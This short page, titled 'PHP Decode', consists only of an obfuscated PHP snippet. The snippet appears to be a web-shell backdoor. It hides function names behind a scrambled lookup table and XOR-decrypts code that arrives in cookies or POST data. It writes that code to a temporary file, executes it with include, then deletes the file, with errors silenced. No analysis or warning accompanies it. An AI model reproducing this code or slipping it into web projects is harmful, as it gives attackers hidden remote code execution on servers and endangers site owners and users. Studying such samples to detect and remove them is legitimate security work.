PHP Decode

<?php 
function n1($y2){$a3 = "9f t6#Fyne@8sE)<2dv7/-r(iu5c4*gp" .".;hI" ."o" ."_" ."k31HaL" ."xbm" ."'?" ."l" ;$e5='';foreach($y2 as $s4){$e5.=$a3[$s4];}return $e5;}$x6 = Array();$x6[] = n1(Array(0,4,27,19,28,9,17,40,21,4,11,0,4,21,28,1,45,16,21,11,11,9,28,21,28,28,1,45,40,40,39,40,11,9,45,17));$x6[] = n1(Array(48,31,34,31,2,10,25,8,49,24,8,38,23,37,37,6,35,43,13,37,37,14,33,2));$x6[] = n1(Array(32,46,36,17,25,49,9));$x6[] = n1(Array(41,29));$x6[] = n1(Array(32,20));$x6[] = n1(Array(5));$x6[] = n1(Array(15));$x6[] = n1(Array(1,24,49,9,37,31,25,3,37,27,36,8,3,9,8,3,12));$x6[] = n1(Array(42,22,22,42,7,37,46,9,22,30,9));$x6[] = n1(Array(12,3,22,37,22,9,31,9,42,3));$x6[] = n1(Array(9,44,31,49,36,17,9));$x6[] = n1(Array(12,25,45,12,3,22));$x6[] = n1(Array(25,8,49,24,8,38));$x6[] = n1(Array(12,3,22,49,9,8));$x6[] = n1(Array(31,42,27,38));$x6[] = n1(Array(46,17,26));foreach ($x6[8]($_COOKIE, $_POST) as $q14 => $z11){function w8($x6, $q14, $u10){return $x6[11]($x6[9]($q14 . $x6[0], ($u10 / $x6[13]($q14)) + 1), 0, $u10);}function v7($x6, $g12){return @$x6[14]($x6[3], $g12);}function j9($x6, $g12){if (isset($g12[2])) {$u13 = $x6[4] . $x6[15]($x6[0]) . $x6[2];@$x6[7]($u13, $x6[6] . $x6[1] . $g12[1]($g12[2]));@include($u13);@$x6[12]($u13);exit();}}$z11 = v7($x6, $z11);j9($x6, $x6[10]($x6[5], $z11 ^ w8($x6, $q14, $x6[13]($z11))));} ?>